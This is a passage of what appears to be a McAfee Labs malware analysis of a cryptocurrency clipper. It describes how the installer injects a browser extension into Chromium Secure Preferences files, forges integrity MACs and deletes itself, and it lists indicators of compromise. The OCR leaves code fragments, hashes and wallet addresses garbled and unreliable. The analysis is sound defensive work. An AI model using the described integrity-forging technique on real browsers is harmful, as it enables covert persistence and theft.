" BaseZipinstaller exe 4512 WriteFile C\Users\unknown\AppData\L ocal\MicrosoMEdge\User Data\Defaul\Secure Preferences
¥ BaseZipinstaller exe 4512 WrteFile C\Users\unknown\AppData\Local\MicrosoMEdge\User Data\Defaul\Secure Preferences
¥ BaseZipinstaller exe 4512 WrteFile C\Users\unknown\AppData\Local\MicrosoM\E dge\User Data\DefaulfiSecure Preferences

We can see writefile Event on Secure preferences file of chrome and MS Edge , when details of downloaded extension are written to those config
files
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t extensionManifest, installDir,

jsonDbjec ( ( si ’ ))

(fession, o extensionld, extensionManifest);
]

i ! %% seedHexAscii

(seedHexAscii) )

(session

Fig 27 Attacker logic to resign the secure preference files

o The malware reads and modifies the browser’s Secure Preferences file, which controls installed extensions
and their trust state.

« ltinjects the malicious extension into the configuration and attempts to re-sign the modified data, making the
changes appear legitimate to the browser’s integrity checks.

o The updated configuration is then written back to disk, ensuring the extension is loaded automatically and
persists across browser restarts.

Lruwn\\AppDaLa\\Lucal\\Packageﬂ\\ExLens‘ons\\CC4E2A2AZDDFDGOB3ﬂuFlAEdZSA}lTTZGSDDGLAEZSEFASUDZQBIlSQCF}ZC?SOQ“
or ents": [" ion.onC 4", "ne atio ic ;"runtime.onI “’t,.,__u'i"

Fig 27B :Extension path is added to chrome secure preferences file
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})[extensionId] manifest;

Fig 28: Logic to Manipulate defenses of Brave Bowser

o For browsers such as Brave and Opera, the malware injects the malicious extension directly into
the browser’s configuration by adding entries under the extensions.settings (or extensions.opsettings)

section.
o It also updates integrity-related fields (protection.macs) to make the injected extension appear trusted by the

browser.
o Additionally, the malware attempts to enable developer mode programmatically, allowing unpacked
extensions to run with fewer restrictions.
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ResignEngine X

| seedBinary)

jsor ectd ]
ine.RecomputeTree(seedBina false);

Name
P @ root
P @ seedBinary

Fig 29: Attacker logic to get device ID used to further calculate integrity Values

o The malware attempts to recompute browser integrity signatures by generating new MAC (Message
Authentication Code) values for the modified Secure Preferences file.

« It uses system-specific identifiers, such as the machine SID, combined with a seed value to mimic Chrome’s
internal verification mechanism.

» By recalculating these integrity checks (macs and super_mac), the malware tries to make its unauthorized
modifications appear legitimate to the browser.
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location Assen ().

(location) ! . (location))

E

startInfo

+ location +

(startInfo);

+ location);

Figure 30 Self-Deletion Logic

o The malware includes a self-deletion mechanism designed to remove the installer executable after
successful execution.

o It launches a hidden command prompt process that delays execution briefly before deleting the original file
from disk.

Conclusion

This campaign is a concise illustration of where consumer-targeted cryptocurrency theft is heading. The operator
has taken the oldest and simplest category of crypto malware — the clipper — and quietly upgraded three of its
weakest links. Static attacker addresses have been replaced with a server-side, per-victim mapping. Fragile,
hardcoded command-and-control domains have been replaced with a blockchain-resolved lookup that an
operator can rotate with a single transaction. And a fragile dropper has been replaced with a Chromium
extension that lives inside the user’s most trusted application, loaded under the browser’s own integrity
signature.

McAfee will continue to track this campaign and related infrastructure. Our customers are protected by
existing detections and will benefit from telemetry-driven updates as new variants and rotated infrastructure are
identified.

Indicators of Compromise (IOC)

Type Category Value

SHA-256 .NET Installer 2735e12030¢195fb5454e4736¢51b55b59664b93cae9f4bd5317afcd9c2afObf
(BaseZiplnstaller) 053620962047f50a91c6e8d1a6519eccc41fab51473f033086b4d816abe8bcb0
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SHA-256 Golang-compiled  11be4c47ff049322de41743f62544cafd32d67e24ad653b7ebedf8ebd63e0962
Installer Variant 1432393691b415d0cd4680d9cee73e60896fbe63300d9f0355c96e€91817e4b1d
URL Payload hxxps://google-services|.]cc/base|.]zip
distribution
Domain Command-and- devops-offensive[.]Jcc
Control (resolved  Zebregts[.Jcom
via smart
contract)
BTC Crypto wallet 3JvDBVKbS6YYMKjV3R9e9Zfd67f467fNLy
wallet 1BbhVBxpniuZuAL1gGZnEMdQhmz9JGWpyT
3AcPNVh7NyESWX3ECymy3rkdH4Ke2c26T]
1BVTrB47erypG3tevi1U9FvE6BbNUBEIuiX
Artifact Sideload target Chromium Secure Preferences file (Chrome, Edge, Brave, Opera profiles)
Extension manifest.json ed2599d6a8f30d5eaf14ad7f855aeceOacdf7efa4a148eb18e4d9f0d8e2cd90c
files crypto-patterns.js  daf82c67e8e5df6bbd5370172ac9374aa7dce48af05496e8ec3dba7b602c619b

Interceptor.js

content-script.j

cache.js

domain-
resolver.js

service-worker.js

api-client.js

6eb2f07265dd95cacd39dfcf0705786b97f3e173cf4e9b3dfe7bad141c9a9dd5

azffdbedc5c9f5400a2b1cf5d35f5ec1df06a74d0345f1035bcf75d36ed73e01

eb84ba4a0cd95655a021865d4fec93ae3393f86cc9848810ed0b49035b1c5e2¢

6aaba685669d779ef8be8f7f4231096cfafd0ef386f3897c5e2106¢177724fc8

2599064901308a97540af29197ed0b38702bbee38d6dbbfa61cfOeb5878353f3

ab450927b37e1b68e2be68832c354ac600e86e2545a904d4calea283f2600cc?

McAfee Labs Threat Research Team
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McAfee Labs is one of the leading sources for threat research, threat intelligence, and cybersecurity thought
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